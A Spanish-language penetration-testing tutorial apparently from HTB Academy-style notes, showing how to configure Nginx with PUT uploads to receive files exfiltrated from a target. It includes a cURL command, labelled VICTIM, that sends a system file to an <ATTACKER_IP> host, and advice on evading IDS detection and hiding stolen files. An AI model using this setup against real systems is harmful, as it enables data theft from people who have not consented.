# Catching Files over HTTP/S

## HTTP/S

La transferencia web es la forma más común en la que la mayoría de la gente transfiere archivos, ya que **HTTP/HTTPS son los protocolos que normalmente están permitidos a través de los firewalls**. Además, en muchos casos, **el archivo viaja cifrado**, lo cual es una gran ventaja. No hay nada peor que estar en un pentest y que el IDS del cliente detecte que hemos enviado un archivo sensible en texto plano, y que luego pregunten por qué mandamos una contraseña a nuestro servidor sin cifrado.

Ya vimos cómo usar el módulo `uploadserver` de Python3 para montar un servidor web con capacidad de subida de archivos, pero también podemos usar **Apache o Nginx**. En esta parte, vamos a ver cómo montar un servidor web **seguro** para operaciones de subida de archivos.

***

## Nginx – Habilitar PUT

Una buena alternativa a Apache para transferir archivos es **Nginx**, ya que su configuración es más sencilla y su sistema de módulos **no genera tantos problemas de seguridad** como puede ocurrir con Apache.

Cuando permitimos subidas por HTTP, es fundamental **asegurarnos al 100% de que los usuarios no puedan subir shells web y ejecutarlos**. Apache, por ejemplo, puede ser peligroso en este sentido, ya que su módulo de PHP tiende a ejecutar cualquier archivo que termine en `.php`. En cambio, configurar PHP en Nginx **no es tan directo**, lo que en este contexto es una ventaja porque reduce el riesgo de ejecución automática.

#### **Create a Directory to Handle Uploaded Files**

```bash
gzzcoo@htb[/htb]$ sudo mkdir -p /var/www/uploads/SecretUploadDirectory
```

#### **Change the Owner to www-data**

```bash
gzzcoo@htb[/htb]$ sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
```

#### **Create Nginx Configuration File**

Cree el archivo de configuración de Nginx creando el archivo `/etc/nginx/sites-available/upload.conf` con el contenido:

```bash
server {
    listen 9001;
    
    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}
```

#### **Symlink our Site to the sites-enabled Directory**

```bash
gzzcoo@htb[/htb]$ sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
```

#### **Start Nginx**

```bash
gzzcoo@htb[/htb]$ sudo systemctl restart nginx.service
```

**Remove NginxDefault Configuration**

```bash
gzzcoo@htb[/htb]$ sudo rm /etc/nginx/sites-enabled/default
```

Ahora podemos probar la carga usando cURL para enviar una solicitud PUT. En el siguiente ejemplo, subiremos el archivo /etc/passwd al servidor y lo llamaremos users.txt.

### **Upload File Using cURL**

{% code title="VICTIM" %}
```powershell
C:\gzzcoo> curl -T "C:\Windows\System32\drivers\etc\hosts" http://<ATTACKER_IP>:9001/SecretUploadDirectory/hosts.txt
```
{% endcode %}

{% code title="ATTACKER" %}
```bash
gzzcoo@htb[/htb]$ sudo tail -1 /var/www/uploads/SecretUploadDirectory/hosts.txt 

#	::1             localhost
```
{% endcode %}

Una vez que esto funcione, una buena prueba es asegurarnos de que el listado de directorios no esté habilitado navegando a http://localhost/SecretUploadDirectory. Por defecto, con Apache, si encontramos un directorio sin un archivo de índice (index.html), listará todos los archivos. Esto es perjudicial para nuestro caso de exfilling de archivos, ya que la mayoría son sensibles por naturaleza y queremos hacer todo lo posible por ocultarlos. Gracias a que Nginx es minimalista, estas funciones no están habilitadas por defecto.
